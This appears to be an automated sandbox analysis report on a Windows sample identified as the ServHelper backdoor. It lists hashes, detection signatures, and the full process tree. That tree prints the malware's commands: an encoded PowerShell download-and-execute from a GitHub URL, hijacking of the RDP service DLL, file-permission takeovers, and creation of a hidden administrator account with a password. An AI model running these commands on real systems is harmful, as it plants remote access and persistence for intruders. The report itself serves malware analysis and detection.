Analysis
-
max time kernel
127s -
max time network
141s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
19-08-2021 19:34
Static task
static1
Behavioral task
behavioral1
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win10v20210410
General
-
Target
87dd0632a95ca24443f8c6363bc055e6.exe
-
Size
5.9MB
-
MD5
87dd0632a95ca24443f8c6363bc055e6
-
SHA1
423785b67d20f4f5056ff6d9e34fda3c72a03bd4
-
SHA256
266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce
-
SHA512
c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 13 1604 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 1592 icacls.exe 1652 icacls.exe 1680 icacls.exe 952 icacls.exe 1632 icacls.exe 792 takeown.exe 1144 icacls.exe 1936 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1972 1972 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 1592 icacls.exe 1652 icacls.exe 1680 icacls.exe 952 icacls.exe 1632 icacls.exe 792 takeown.exe 1144 icacls.exe 1936 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bee17986-15c4-4c8d-85d2-55b56bb1846f powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3b45f730-fdb1-48e4-8141-bb9df07dca2a powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd3e632c-9d06-4bfd-8128-2f6d090bac07 powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_429cbdbb-4b58-4d03-a777-a8424b2f55b3 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3ebffb5e-7278-439b-9b61-8d58e35862f4 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_39276cc2-c878-4a8a-ba82-226e04ca3519 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_df82724e-8309-40e0-97c5-30a2daf821ef powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P6KBSB4RJ1KUQT87P85I.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4c2033ff-1b9a-4bab-adcf-aa80c4c89a81 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_54b54f4e-9ea0-40ad-97d7-5bb6ba83d64f powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a4fe9dd2-52f5-437a-9271-cbefc4089f9c powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f746b57-82a9-4b19-97b4-60cc08b36ecd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10825fed3195d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Processes:
87dd0632a95ca24443f8c6363bc055e6.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 87dd0632a95ca24443f8c6363bc055e6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 87dd0632a95ca24443f8c6363bc055e6.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 572 powershell.exe 572 powershell.exe 1784 powershell.exe 1784 powershell.exe 300 powershell.exe 300 powershell.exe 1988 powershell.exe 1988 powershell.exe 572 powershell.exe 572 powershell.exe 572 powershell.exe 1604 powershell.exe 1604 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 464 1972 1972 1972 1972 -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 916 87dd0632a95ca24443f8c6363bc055e6.exe Token: SeDebugPrivilege 572 powershell.exe Token: SeDebugPrivilege 1784 powershell.exe Token: SeDebugPrivilege 300 powershell.exe Token: SeDebugPrivilege 1988 powershell.exe Token: SeRestorePrivilege 1936 icacls.exe Token: SeAssignPrimaryTokenPrivilege 972 WMIC.exe Token: SeIncreaseQuotaPrivilege 972 WMIC.exe Token: SeAuditPrivilege 972 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 972 WMIC.exe Token: SeIncreaseQuotaPrivilege 972 WMIC.exe Token: SeAuditPrivilege 972 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 948 WMIC.exe Token: SeIncreaseQuotaPrivilege 948 WMIC.exe Token: SeAuditPrivilege 948 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 948 WMIC.exe Token: SeIncreaseQuotaPrivilege 948 WMIC.exe Token: SeAuditPrivilege 948 WMIC.exe Token: SeDebugPrivilege 1604 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 916 wrote to memory of 572 916 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 916 wrote to memory of 572 916 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 916 wrote to memory of 572 916 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 572 wrote to memory of 984 572 powershell.exe csc.exe PID 572 wrote to memory of 984 572 powershell.exe csc.exe PID 572 wrote to memory of 984 572 powershell.exe csc.exe PID 984 wrote to memory of 592 984 csc.exe cvtres.exe PID 984 wrote to memory of 592 984 csc.exe cvtres.exe PID 984 wrote to memory of 592 984 csc.exe cvtres.exe PID 572 wrote to memory of 1784 572 powershell.exe powershell.exe PID 572 wrote to memory of 1784 572 powershell.exe powershell.exe PID 572 wrote to memory of 1784 572 powershell.exe powershell.exe PID 572 wrote to memory of 300 572 powershell.exe powershell.exe PID 572 wrote to memory of 300 572 powershell.exe powershell.exe PID 572 wrote to memory of 300 572 powershell.exe powershell.exe PID 572 wrote to memory of 1988 572 powershell.exe powershell.exe PID 572 wrote to memory of 1988 572 powershell.exe powershell.exe PID 572 wrote to memory of 1988 572 powershell.exe powershell.exe PID 572 wrote to memory of 792 572 powershell.exe takeown.exe PID 572 wrote to memory of 792 572 powershell.exe takeown.exe PID 572 wrote to memory of 792 572 powershell.exe takeown.exe PID 572 wrote to memory of 1144 572 powershell.exe icacls.exe PID 572 wrote to memory of 1144 572 powershell.exe icacls.exe PID 572 wrote to memory of 1144 572 powershell.exe icacls.exe PID 572 wrote to memory of 1936 572 powershell.exe icacls.exe PID 572 wrote to memory of 1936 572 powershell.exe icacls.exe PID 572 wrote to memory of 1936 572 powershell.exe icacls.exe PID 572 wrote to memory of 1592 572 powershell.exe icacls.exe PID 572 wrote to memory of 1592 572 powershell.exe icacls.exe PID 572 wrote to memory of 1592 572 powershell.exe icacls.exe PID 572 wrote to memory of 1652 572 powershell.exe icacls.exe PID 572 wrote to memory of 1652 572 powershell.exe icacls.exe PID 572 wrote to memory of 1652 572 powershell.exe icacls.exe PID 572 wrote to memory of 1680 572 powershell.exe icacls.exe PID 572 wrote to memory of 1680 572 powershell.exe icacls.exe PID 572 wrote to memory of 1680 572 powershell.exe icacls.exe PID 572 wrote to memory of 952 572 powershell.exe icacls.exe PID 572 wrote to memory of 952 572 powershell.exe icacls.exe PID 572 wrote to memory of 952 572 powershell.exe icacls.exe PID 572 wrote to memory of 1632 572 powershell.exe icacls.exe PID 572 wrote to memory of 1632 572 powershell.exe icacls.exe PID 572 wrote to memory of 1632 572 powershell.exe icacls.exe PID 572 wrote to memory of 1388 572 powershell.exe reg.exe PID 572 wrote to memory of 1388 572 powershell.exe reg.exe PID 572 wrote to memory of 1388 572 powershell.exe reg.exe PID 572 wrote to memory of 1676 572 powershell.exe reg.exe PID 572 wrote to memory of 1676 572 powershell.exe reg.exe PID 572 wrote to memory of 1676 572 powershell.exe reg.exe PID 572 wrote to memory of 1484 572 powershell.exe reg.exe PID 572 wrote to memory of 1484 572 powershell.exe reg.exe PID 572 wrote to memory of 1484 572 powershell.exe reg.exe PID 572 wrote to memory of 1036 572 powershell.exe net.exe PID 572 wrote to memory of 1036 572 powershell.exe net.exe PID 572 wrote to memory of 1036 572 powershell.exe net.exe PID 1036 wrote to memory of 1600 1036 net.exe net1.exe PID 1036 wrote to memory of 1600 1036 net.exe net1.exe PID 1036 wrote to memory of 1600 1036 net.exe net1.exe PID 572 wrote to memory of 944 572 powershell.exe cmd.exe PID 572 wrote to memory of 944 572 powershell.exe cmd.exe PID 572 wrote to memory of 944 572 powershell.exe cmd.exe PID 944 wrote to memory of 1376 944 cmd.exe cmd.exe PID 944 wrote to memory of 1376 944 cmd.exe cmd.exe PID 944 wrote to memory of 1376 944 cmd.exe cmd.exe PID 1376 wrote to memory of 1960 1376 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\njncjljq\njncjljq.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES99C0.tmp" "c:\Users\Admin\AppData\Local\Temp\njncjljq\CSC30F7DDE84DB24FD2A41B632FCDB1EC79.TMP"4⤵PID:592
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1784 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:792 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1144 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1936 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1592 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1652 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1680 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:952 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1632 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1388
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1676 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1484
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1600
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1876
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1988
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1568
-
C:\Windows\system32\net.exenet start TermService5⤵PID:1508
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1996
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:300
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:948
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1032
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:608
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:360
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc XOlGjCZN /add1⤵PID:1348
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc XOlGjCZN /add2⤵PID:1484
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc XOlGjCZN /add3⤵PID:1056
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1036
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1612
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1376
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD1⤵PID:1860
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD2⤵PID:1992
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD3⤵PID:1696
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:544
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1080
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1388
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc XOlGjCZN1⤵PID:1796
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc XOlGjCZN2⤵PID:1960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc XOlGjCZN3⤵PID:1336
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:972
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:888
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:948
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1428
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:360
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1604
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_295c844b-9e72-456e-847f-e4434e242194
MD5d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5f7beb8c-e159-43c3-a6d8-fc7817d59b44
MD5faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_871b46de-2b40-4201-a27f-155dc70021b9
MD56f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a06d569a-b6f1-480c-a0be-c830e764a87a
MD5e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b00c34c2-801c-46bc-8a2b-d59622cc8db2
MD57f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cdfb8ac6-9c27-4037-a773-a8d8375c484c
MD5a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d52c8b00-e6d3-4f14-97b8-e69367382d5e
MD52d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
-
